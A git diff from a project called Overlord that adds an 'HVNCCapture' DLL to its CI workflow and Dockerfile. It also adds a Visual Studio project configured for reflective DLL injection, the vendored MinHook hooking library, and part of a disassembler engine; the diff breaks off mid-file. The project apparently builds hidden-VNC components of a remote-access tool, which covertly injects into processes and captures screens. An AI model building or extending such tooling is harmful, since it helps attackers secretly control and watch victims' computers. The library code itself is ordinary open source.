diff --git a/.github/workflows/docker-publish.yml b/.github/workflows/docker-publish.yml index d2be0c5..76c30c1 100644 --- a/.github/workflows/docker-publish.yml +++ b/.github/workflows/docker-publish.yml @@ -21,11 +21,17 @@ jobs: shell: cmd run: call build-hvnc-dll.bat - - name: Upload HVNCInjection DLL + - name: Build HVNCCapture DLL with MSVC + shell: cmd + run: call build-hvnc-capture-dll.bat + + - name: Upload HVNC DLLs uses: actions/upload-artifact@v4 with: name: hvnc-dll - path: Overlord-Server/dist-clients/HVNCInjection.x64.dll + path: | + Overlord-Server/dist-clients/HVNCInjection.x64.dll + Overlord-Server/dist-clients/HVNCCapture.x64.dll if-no-files-found: error retention-days: 1 @@ -40,7 +46,7 @@ jobs: - name: Checkout repository uses: actions/checkout@v4 - - name: Download HVNCInjection DLL + - name: Download HVNC DLLs uses: actions/download-artifact@v4 with: name: hvnc-dll diff --git a/Dockerfile b/Dockerfile index 3e45384..ebc3d6e 100644 --- a/Dockerfile +++ b/Dockerfile @@ -8,6 +8,7 @@ RUN apt-get update \ && apt-get install -y --no-install-recommends \ build-essential \ gcc-mingw-w64-x86-64 \ + g++-mingw-w64-x86-64 \ gcc-mingw-w64-i686 \ musl-tools \ gcc-aarch64-linux-gnu \ @@ -71,6 +72,10 @@ COPY Overlord-Client/ ./Overlord-Client/ COPY HVNCInjection/ ./HVNCInjection/ COPY build-hvnc-dll.sh ./build-hvnc-dll.sh +# Copy HVNCCapture source and build script for cross-compilation +COPY HVNCCapture/ ./HVNCCapture/ +COPY build-hvnc-capture-dll.sh ./build-hvnc-capture-dll.sh + # Use MSVC-built HVNCInjection DLL if present (preferred, from CI artifact). # Fall back to cross-compiling with mingw only if no pre-built DLL exists. RUN if [ -f dist-clients/HVNCInjection.x64.dll ]; then \ @@ -81,6 +86,16 @@ RUN if [ -f dist-clients/HVNCInjection.x64.dll ]; then \ echo "WARNING: HVNCInjection DLL not available (build with MSVC on Windows)"; \ fi +# Use MSVC-built HVNCCapture DLL if present (preferred, from CI artifact). +# Fall back to cross-compiling with mingw (C++) only if no pre-built DLL exists. +RUN if [ -f dist-clients/HVNCCapture.x64.dll ]; then \ + echo "Using pre-built MSVC HVNCCapture DLL"; \ + else \ + chmod +x build-hvnc-capture-dll.sh && \ + HVNC_CAPTURE_SRC_DIR=HVNCCapture/src HVNC_CAPTURE_OUT_DIR=dist-clients bash build-hvnc-capture-dll.sh || \ + echo "WARNING: HVNCCapture DLL not available (build with MSVC on Windows)"; \ + fi + # Create necessary directories RUN mkdir -p certs public data diff --git a/HVNCCapture/HVNCCapture.vcxproj b/HVNCCapture/HVNCCapture.vcxproj new file mode 100644 index 0000000..b943eeb --- /dev/null +++ b/HVNCCapture/HVNCCapture.vcxproj @@ -0,0 +1,144 @@ + + + + + Debug + x64 + + + Release + x64 + + + + {A1B2C3D4-1234-5678-9ABC-DEF012345678} + HVNCCapture + Win32Proj + + + + DynamicLibrary + v143 + MultiByte + false + + + DynamicLibrary + false + v143 + false + Unicode + + + + + + + + + + + + + <_ProjectFileVersion>11.0.50727.1 + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + $(ProjectName).x64 + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + false + $(ProjectName).x64 + + + + X64 + + + MaxSpeed + OnlyExplicitInline + true + Size + false + WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCCapture_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + $(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories) + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + $(OutDir)$(ProjectName).x64.dll + true + Windows + true + true + MachineX64 + d3d11.lib;dxgi.lib;%(AdditionalDependencies) + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + true + Size + false + WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCCapture_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + $(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories) + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + $(OutDir)$(ProjectName).x64.dll + true + Windows + true + true + MachineX64 + d3d11.lib;dxgi.lib;%(AdditionalDependencies) + + + + + + + + CompileAsC + + + CompileAsC + + + CompileAsC + + + CompileAsC + + + CompileAsC + + + + + + + + + + + + diff --git a/HVNCCapture/Minhook/include/MinHook.h b/HVNCCapture/Minhook/include/MinHook.h new file mode 100644 index 0000000..ae39350 --- /dev/null +++ b/HVNCCapture/Minhook/include/MinHook.h @@ -0,0 +1,185 @@ +/* + * MinHook - The Minimalistic API Hooking Library for x64/x86 + * Copyright (C) 2009-2017 Tsuda Kageyu. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER + * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#pragma once + +#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__) + #error MinHook supports only x86 and x64 systems. +#endif + +#include + +// MinHook Error Codes. +typedef enum MH_STATUS +{ + // Unknown error. Should not be returned. + MH_UNKNOWN = -1, + + // Successful. + MH_OK = 0, + + // MinHook is already initialized. + MH_ERROR_ALREADY_INITIALIZED, + + // MinHook is not initialized yet, or already uninitialized. + MH_ERROR_NOT_INITIALIZED, + + // The hook for the specified target function is already created. + MH_ERROR_ALREADY_CREATED, + + // The hook for the specified target function is not created yet. + MH_ERROR_NOT_CREATED, + + // The hook for the specified target function is already enabled. + MH_ERROR_ENABLED, + + // The hook for the specified target function is not enabled yet, or already + // disabled. + MH_ERROR_DISABLED, + + // The specified pointer is invalid. It points the address of non-allocated + // and/or non-executable region. + MH_ERROR_NOT_EXECUTABLE, + + // The specified target function cannot be hooked. + MH_ERROR_UNSUPPORTED_FUNCTION, + + // Failed to allocate memory. + MH_ERROR_MEMORY_ALLOC, + + // Failed to change the memory protection. + MH_ERROR_MEMORY_PROTECT, + + // The specified module is not loaded. + MH_ERROR_MODULE_NOT_FOUND, + + // The specified function is not found. + MH_ERROR_FUNCTION_NOT_FOUND +} +MH_STATUS; + +// Can be passed as a parameter to MH_EnableHook, MH_DisableHook, +// MH_QueueEnableHook or MH_QueueDisableHook. +#define MH_ALL_HOOKS NULL + +#ifdef __cplusplus +extern "C" { +#endif + + // Initialize the MinHook library. You must call this function EXACTLY ONCE + // at the beginning of your program. + MH_STATUS WINAPI MH_Initialize(VOID); + + // Uninitialize the MinHook library. You must call this function EXACTLY + // ONCE at the end of your program. + MH_STATUS WINAPI MH_Uninitialize(VOID); + + // Creates a hook for the specified target function, in disabled state. + // Parameters: + // pTarget [in] A pointer to the target function, which will be + // overridden by the detour function. + // pDetour [in] A pointer to the detour function, which will override + // the target function. + // ppOriginal [out] A pointer to the trampoline function, which will be + // used to call the original target function. + // This parameter can be NULL. + MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal); + + // Creates a hook for the specified API function, in disabled state. + // Parameters: + // pszModule [in] A pointer to the loaded module name which contains the + // target function. + // pszProcName [in] A pointer to the target function name, which will be + // overridden by the detour function. + // pDetour [in] A pointer to the detour function, which will override + // the target function. + // ppOriginal [out] A pointer to the trampoline function, which will be + // used to call the original target function. + // This parameter can be NULL. + MH_STATUS WINAPI MH_CreateHookApi( + LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal); + + // Creates a hook for the specified API function, in disabled state. + // Parameters: + // pszModule [in] A pointer to the loaded module name which contains the + // target function. + // pszProcName [in] A pointer to the target function name, which will be + // overridden by the detour function. + // pDetour [in] A pointer to the detour function, which will override + // the target function. + // ppOriginal [out] A pointer to the trampoline function, which will be + // used to call the original target function. + // This parameter can be NULL. + // ppTarget [out] A pointer to the target function, which will be used + // with other functions. + // This parameter can be NULL. + MH_STATUS WINAPI MH_CreateHookApiEx( + LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal, LPVOID *ppTarget); + + // Removes an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget); + + // Enables an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // enabled in one go. + MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget); + + // Disables an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // disabled in one go. + MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget); + + // Queues to enable an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // queued to be enabled. + MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget); + + // Queues to disable an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // queued to be disabled. + MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget); + + // Applies all queued changes in one go. + MH_STATUS WINAPI MH_ApplyQueued(VOID); + + // Translates the MH_STATUS to its name as a string. + const char *WINAPI MH_StatusToString(MH_STATUS status); + +#ifdef __cplusplus +} +#endif diff --git a/HVNCCapture/Minhook/src/buffer.c b/HVNCCapture/Minhook/src/buffer.c new file mode 100644 index 0000000..940df65 --- /dev/null +++ b/HVNCCapture/Minhook/src/buffer.c @@ -0,0 +1,312 @@ +/* + * MinHook - The Minimalistic API Hooking Library for x64/x86 + * Copyright (C) 2009-2017 Tsuda Kageyu. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER + * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include +#include "buffer.h" + +// Size of each memory block. (= page size of VirtualAlloc) +#define MEMORY_BLOCK_SIZE 0x1000 + +// Max range for seeking a memory block. (= 1024MB) +#define MAX_MEMORY_RANGE 0x40000000 + +// Memory protection flags to check the executable address. +#define PAGE_EXECUTE_FLAGS \ + (PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY) + +// Memory slot. +typedef struct _MEMORY_SLOT +{ + union + { + struct _MEMORY_SLOT *pNext; + UINT8 buffer[MEMORY_SLOT_SIZE]; + }; +} MEMORY_SLOT, *PMEMORY_SLOT; + +// Memory block info. Placed at the head of each block. +typedef struct _MEMORY_BLOCK +{ + struct _MEMORY_BLOCK *pNext; + PMEMORY_SLOT pFree; // First element of the free slot list. + UINT usedCount; +} MEMORY_BLOCK, *PMEMORY_BLOCK; + +//------------------------------------------------------------------------- +// Global Variables: +//------------------------------------------------------------------------- + +// First element of the memory block list. +static PMEMORY_BLOCK g_pMemoryBlocks; + +//------------------------------------------------------------------------- +VOID InitializeBuffer(VOID) +{ + // Nothing to do for now. +} + +//------------------------------------------------------------------------- +VOID UninitializeBuffer(VOID) +{ + PMEMORY_BLOCK pBlock = g_pMemoryBlocks; + g_pMemoryBlocks = NULL; + + while (pBlock) + { + PMEMORY_BLOCK pNext = pBlock->pNext; + VirtualFree(pBlock, 0, MEM_RELEASE); + pBlock = pNext; + } +} + +//------------------------------------------------------------------------- +#if defined(_M_X64) || defined(__x86_64__) +static LPVOID FindPrevFreeRegion(LPVOID pAddress, LPVOID pMinAddr, DWORD dwAllocationGranularity) +{ + ULONG_PTR tryAddr = (ULONG_PTR)pAddress; + + // Round down to the allocation granularity. + tryAddr -= tryAddr % dwAllocationGranularity; + + // Start from the previous allocation granularity multiply. + tryAddr -= dwAllocationGranularity; + + while (tryAddr >= (ULONG_PTR)pMinAddr) + { + MEMORY_BASIC_INFORMATION mbi; + if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0) + break; + + if (mbi.State == MEM_FREE) + return (LPVOID)tryAddr; + + if ((ULONG_PTR)mbi.AllocationBase < dwAllocationGranularity) + break; + + tryAddr = (ULONG_PTR)mbi.AllocationBase - dwAllocationGranularity; + } + + return NULL; +} +#endif + +//------------------------------------------------------------------------- +#if defined(_M_X64) || defined(__x86_64__) +static LPVOID FindNextFreeRegion(LPVOID pAddress, LPVOID pMaxAddr, DWORD dwAllocationGranularity) +{ + ULONG_PTR tryAddr = (ULONG_PTR)pAddress; + + // Round down to the allocation granularity. + tryAddr -= tryAddr % dwAllocationGranularity; + + // Start from the next allocation granularity multiply. + tryAddr += dwAllocationGranularity; + + while (tryAddr <= (ULONG_PTR)pMaxAddr) + { + MEMORY_BASIC_INFORMATION mbi; + if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0) + break; + + if (mbi.State == MEM_FREE) + return (LPVOID)tryAddr; + + tryAddr = (ULONG_PTR)mbi.BaseAddress + mbi.RegionSize; + + // Round up to the next allocation granularity. + tryAddr += dwAllocationGranularity - 1; + tryAddr -= tryAddr % dwAllocationGranularity; + } + + return NULL; +} +#endif + +//------------------------------------------------------------------------- +static PMEMORY_BLOCK GetMemoryBlock(LPVOID pOrigin) +{ + PMEMORY_BLOCK pBlock; +#if defined(_M_X64) || defined(__x86_64__) + ULONG_PTR minAddr; + ULONG_PTR maxAddr; + + SYSTEM_INFO si; + GetSystemInfo(&si); + minAddr = (ULONG_PTR)si.lpMinimumApplicationAddress; + maxAddr = (ULONG_PTR)si.lpMaximumApplicationAddress; + + // pOrigin ± 512MB + if ((ULONG_PTR)pOrigin > MAX_MEMORY_RANGE && minAddr < (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE) + minAddr = (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE; + + if (maxAddr > (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE) + maxAddr = (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE; + + // Make room for MEMORY_BLOCK_SIZE bytes. + maxAddr -= MEMORY_BLOCK_SIZE - 1; +#endif + + // Look the registered blocks for a reachable one. + for (pBlock = g_pMemoryBlocks; pBlock != NULL; pBlock = pBlock->pNext) + { +#if defined(_M_X64) || defined(__x86_64__) + // Ignore the blocks too far. + if ((ULONG_PTR)pBlock < minAddr || (ULONG_PTR)pBlock >= maxAddr) + continue; +#endif + // The block has at least one unused slot. + if (pBlock->pFree != NULL) + return pBlock; + } + +#if defined(_M_X64) || defined(__x86_64__) + // Alloc a new block above if not found. + { + LPVOID pAlloc = pOrigin; + while ((ULONG_PTR)pAlloc >= minAddr) + { + pAlloc = FindPrevFreeRegion(pAlloc, (LPVOID)minAddr, si.dwAllocationGranularity); + if (pAlloc == NULL) + break; + + pBlock = (PMEMORY_BLOCK)VirtualAlloc( + pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (pBlock != NULL) + break; + } + } + + // Alloc a new block below if not found. + if (pBlock == NULL) + { + LPVOID pAlloc = pOrigin; + while ((ULONG_PTR)pAlloc <= maxAddr) + { + pAlloc = FindNextFreeRegion(pAlloc, (LPVOID)maxAddr, si.dwAllocationGranularity); + if (pAlloc == NULL) + break; + + pBlock = (PMEMORY_BLOCK)VirtualAlloc( + pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (pBlock != NULL) + break; + } + } +#else + // In x86 mode, a memory block can be placed anywhere. + pBlock = (PMEMORY_BLOCK)VirtualAlloc( + NULL, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); +#endif + + if (pBlock != NULL) + { + // Build a linked list of all the slots. + PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBlock + 1; + pBlock->pFree = NULL; + pBlock->usedCount = 0; + do + { + pSlot->pNext = pBlock->pFree; + pBlock->pFree = pSlot; + pSlot++; + } while ((ULONG_PTR)pSlot - (ULONG_PTR)pBlock <= MEMORY_BLOCK_SIZE - MEMORY_SLOT_SIZE); + + pBlock->pNext = g_pMemoryBlocks; + g_pMemoryBlocks = pBlock; + } + + return pBlock; +} + +//------------------------------------------------------------------------- +LPVOID AllocateBuffer(LPVOID pOrigin) +{ + PMEMORY_SLOT pSlot; + PMEMORY_BLOCK pBlock = GetMemoryBlock(pOrigin); + if (pBlock == NULL) + return NULL; + + // Remove an unused slot from the list. + pSlot = pBlock->pFree; + pBlock->pFree = pSlot->pNext; + pBlock->usedCount++; +#ifdef _DEBUG + // Fill the slot with INT3 for debugging. + memset(pSlot, 0xCC, sizeof(MEMORY_SLOT)); +#endif + return pSlot; +} + +//------------------------------------------------------------------------- +VOID FreeBuffer(LPVOID pBuffer) +{ + PMEMORY_BLOCK pBlock = g_pMemoryBlocks; + PMEMORY_BLOCK pPrev = NULL; + ULONG_PTR pTargetBlock = ((ULONG_PTR)pBuffer / MEMORY_BLOCK_SIZE) * MEMORY_BLOCK_SIZE; + + while (pBlock != NULL) + { + if ((ULONG_PTR)pBlock == pTargetBlock) + { + PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBuffer; +#ifdef _DEBUG + // Clear the released slot for debugging. + memset(pSlot, 0x00, sizeof(MEMORY_SLOT)); +#endif + // Restore the released slot to the list. + pSlot->pNext = pBlock->pFree; + pBlock->pFree = pSlot; + pBlock->usedCount--; + + // Free if unused. + if (pBlock->usedCount == 0) + { + if (pPrev) + pPrev->pNext = pBlock->pNext; + else + g_pMemoryBlocks = pBlock->pNext; + + VirtualFree(pBlock, 0, MEM_RELEASE); + } + + break; + } + + pPrev = pBlock; + pBlock = pBlock->pNext; + } +} + +//------------------------------------------------------------------------- +BOOL IsExecutableAddress(LPVOID pAddress) +{ + MEMORY_BASIC_INFORMATION mi; + VirtualQuery(pAddress, &mi, sizeof(mi)); + + return (mi.State == MEM_COMMIT && (mi.Protect & PAGE_EXECUTE_FLAGS)); +} diff --git a/HVNCCapture/Minhook/src/buffer.h b/HVNCCapture/Minhook/src/buffer.h new file mode 100644 index 0000000..204d551 --- /dev/null +++ b/HVNCCapture/Minhook/src/buffer.h @@ -0,0 +1,42 @@ +/* + * MinHook - The Minimalistic API Hooking Library for x64/x86 + * Copyright (C) 2009-2017 Tsuda Kageyu. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER + * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#pragma once + +// Size of each memory slot. +#if defined(_M_X64) || defined(__x86_64__) + #define MEMORY_SLOT_SIZE 64 +#else + #define MEMORY_SLOT_SIZE 32 +#endif + +VOID InitializeBuffer(VOID); +VOID UninitializeBuffer(VOID); +LPVOID AllocateBuffer(LPVOID pOrigin); +VOID FreeBuffer(LPVOID pBuffer); +BOOL IsExecutableAddress(LPVOID pAddress); diff --git a/HVNCCapture/Minhook/src/hde/hde32.c b/HVNCCapture/Minhook/src/hde/hde32.c new file mode 100644 index 0000000..eb6af9b --- /dev/null +++ b/HVNCCapture/Minhook/src/hde/hde32.c @@ -0,0 +1,324 @@ +/* + * Hacker Disassembler Engine 32 C + * Copyright (c) 2008-2009, Vyacheslav Patkov. + * All rights reserved. + * + */ + +#if defined(_M_IX86) || defined(__i386__) + +#include +#include "hde32.h" +#include "table32.h" + +unsigned int hde32_disasm(const void *code, hde32s *hs) +{ + uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0; + uint8_t *ht = hde32_table, m_mod, m_reg, m_rm, disp_size = 0; + + memset(hs, 0, sizeof(hde32s)); + + for (x = 16; x; x--) + switch (c = *p++) { + case 0xf3: + hs->p_rep = c; + pref |= PRE_F3; + break; + case 0xf2: + hs->p_rep = c; + pref |= PRE_F2; + break; + case 0xf0: + hs->p_lock = c; + pref |= PRE_LOCK; + break; + case 0x26: case 0x2e: case 0x36: + case 0x3e: case 0x64: case 0x65: + hs->p_seg = c; + pref |= PRE_SEG; + break; + case 0x66: + hs->p_66 = c; + pref |= PRE_66; + break; + case 0x67: + hs->p_67 = c; + pref |= PRE_67; + break; + default: + goto pref_done; + } + pref_done: + + hs->flags = (uint32_t)pref << 23; + + if (!pref) + pref |= PRE_NONE; + + if ((hs->opcode = c) == 0x0f) { + hs->opcode2 = c = *p++; + ht += DELTA_OPCODES; + } else if (c >= 0xa0 && c <= 0xa3) { + if (pref & PRE_67) + pref |= PRE_66; + else + pref &= ~PRE_66; + } + + opcode = c; + cflags = ht[ht[opcode / 4] + (opcode % 4)]; + + if (cflags == C_ERROR) { + hs->flags |= F_ERROR | F_ERROR_OPCODE; + cflags = 0; + if ((opcode & -3) == 0x24) + cflags++; + } + + x = 0; + if (cflags & C_GROUP) { + uint16_t t; + t = *(uint16_t *)(ht + (cflags & 0x7f)); + cflags = (uint8_t)t; + x = (uint8_t)(t >> 8); + } + + if (hs->opcode2) { + ht = hde32_table + DELTA_PREFIXES; + if (ht[ht[opcode / 4] + (opcode % 4)] & pref) + hs->flags |= F_ERROR | F_ERROR_OPCODE; + } + + if (cflags & C_MODRM) { + hs->flags |= F_MODRM; + hs->modrm = c = *p++; + hs->modrm_mod = m_mod = c >> 6; + hs->modrm_rm = m_rm = c & 7; + hs->modrm_reg = m_reg = (c & 0x3f) >> 3; + + if (x && ((x << m_reg) & 0x80)) + hs->flags |= F_ERROR | F_ERROR_OPCODE; + + if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) { + uint8_t t = opcode - 0xd9; + if (m_mod == 3) { + ht = hde32_table + DELTA_FPU_MODRM + t*8; + t = ht[m_reg] << m_rm; + } else { + ht = hde32_table + DELTA_FPU_REG; + t = ht[t] << m_reg; + } + if (t & 0x80) + hs->flags |= F_ERROR | F_ERROR_OPCODE; + } + + if (pref & PRE_LOCK) { + if (m_mod == 3) { + hs->flags |= F_ERROR | F_ERROR_LOCK; + } else { + uint8_t *table_end, op = opcode; + if (hs->opcode2) { + ht = hde32_table + DELTA_OP2_LOCK_OK; + table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK; + } else { + ht = hde32_table + DELTA_OP_LOCK_OK; + table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK; + op &= -2; + } + for (; ht != table_end; ht++) + if (*ht++ == op) { + if (!((*ht << m_reg) & 0x80)) + goto no_lock_error; + else + break; + } + hs->flags |= F_ERROR | F_ERROR_LOCK; + no_lock_error: + ; + } + } + + if (hs->opcode2) { + switch (opcode) { + case 0x20: case 0x22: + m_mod = 3; + if (m_reg > 4 || m_reg == 1) + goto error_operand; + else + goto no_error_operand; + case 0x21: case 0x23: + m_mod = 3; + if (m_reg == 4 || m_reg == 5) + goto error_operand; + else + goto no_error_operand; + } + } else { + switch (opcode) { + case 0x8c: + if (m_reg > 5) + goto error_operand; + else + goto no_error_operand; + case 0x8e: + if (m_reg == 1 || m_reg > 5) + goto error_operand; + else + goto no_error_operand; + } + } + + if (m_mod == 3) { + uint8_t *table_end; + if (hs->opcode2) { + ht = hde32_table + DELTA_OP2_ONLY_MEM; + table_end = ht + sizeof(hde32_table) - DELTA_OP2_ONLY_MEM; + } else { + ht = hde32_table + DELTA_OP_ONLY_MEM; + table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM; + } + for (; ht != table_end; ht += 2) + if (*ht++ == opcode) { + if ((*ht++ & pref) && !((*ht << m_reg) & 0x80)) + goto error_operand; + else + break; + } + goto no_error_operand; + } else if (hs->opcode2) { + switch (opcode) { + case 0x50: case 0xd7: case 0xf7: + if (pref & (PRE_NONE | PRE_66)) + goto error_operand; + break; + case 0xd6: + if (pref & (PRE_F2 | PRE_F3)) + goto error_operand; + break; + case 0xc5: + goto error_operand; + } + goto no_error_operand; + } else + goto no_error_operand; + + error_operand: + hs->flags |= F_ERROR | F_ERROR_OPERAND; + no_error_operand: + + c = *p++; + if (m_reg <= 1) { + if (opcode == 0xf6) + cflags |= C_IMM8; + else if (opcode == 0xf7) + cflags |= C_IMM_P66; + } + + switch (m_mod) { + case 0: + if (pref & PRE_67) { + if (m_rm == 6) + disp_size = 2; + } else + if (m_rm == 5) + disp_size = 4; + break; + case 1: + disp_size = 1; + break; + case 2: + disp_size = 2; + if (!(pref & PRE_67)) + disp_size <<= 1; + break; + } + + if (m_mod != 3 && m_rm == 4 && !(pref & PRE_67)) { + hs->flags |= F_SIB; + p++; + hs->sib = c; + hs->sib_scale = c >> 6; + hs->sib_index = (c & 0x3f) >> 3; + if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1)) + disp_size = 4; + } + + p--; + switch (disp_size) { + case 1: + hs->flags |= F_DISP8; + hs->disp.disp8 = *p; + break; + case 2: + hs->flags |= F_DISP16; + hs->disp.disp16 = *(uint16_t *)p; + break; + case 4: + hs->flags |= F_DISP32; + hs->disp.disp32 = *(uint32_t *)p; + break; + } + p += disp_size; + } else if (pref & PRE_LOCK) + hs->flags |= F_ERROR | F_ERROR_LOCK; + + if (cflags & C_IMM_P66) { + if (cflags & C_REL32) { + if (pref & PRE_66) { + hs->flags |= F_IMM16 | F_RELATIVE; + hs->imm.imm16 = *(uint16_t *)p; + p += 2; + goto disasm_done; + } + goto rel32_ok; + } + if (pref & PRE_66) { + hs->flags |= F_IMM16; + hs->imm.imm16 = *(uint16_t *)p; + p += 2; + } else { + hs->flags |= F_IMM32; + hs->imm.imm32 = *(uint32_t *)p; + p += 4; + } + } + + if (cflags & C_IMM16) { + if (hs->flags & F_IMM32) { + hs->flags |= F_IMM16; + hs->disp.disp16 = *(uint16_t *)p; + } else if (hs->flags & F_IMM16) { + hs->flags |= F_2IMM16; + hs->disp.disp16 = *(uint16_t *)p; + } else { + hs->flags |= F_IMM16; + hs->imm.imm16 = *(uint16_t *)p; + } + p += 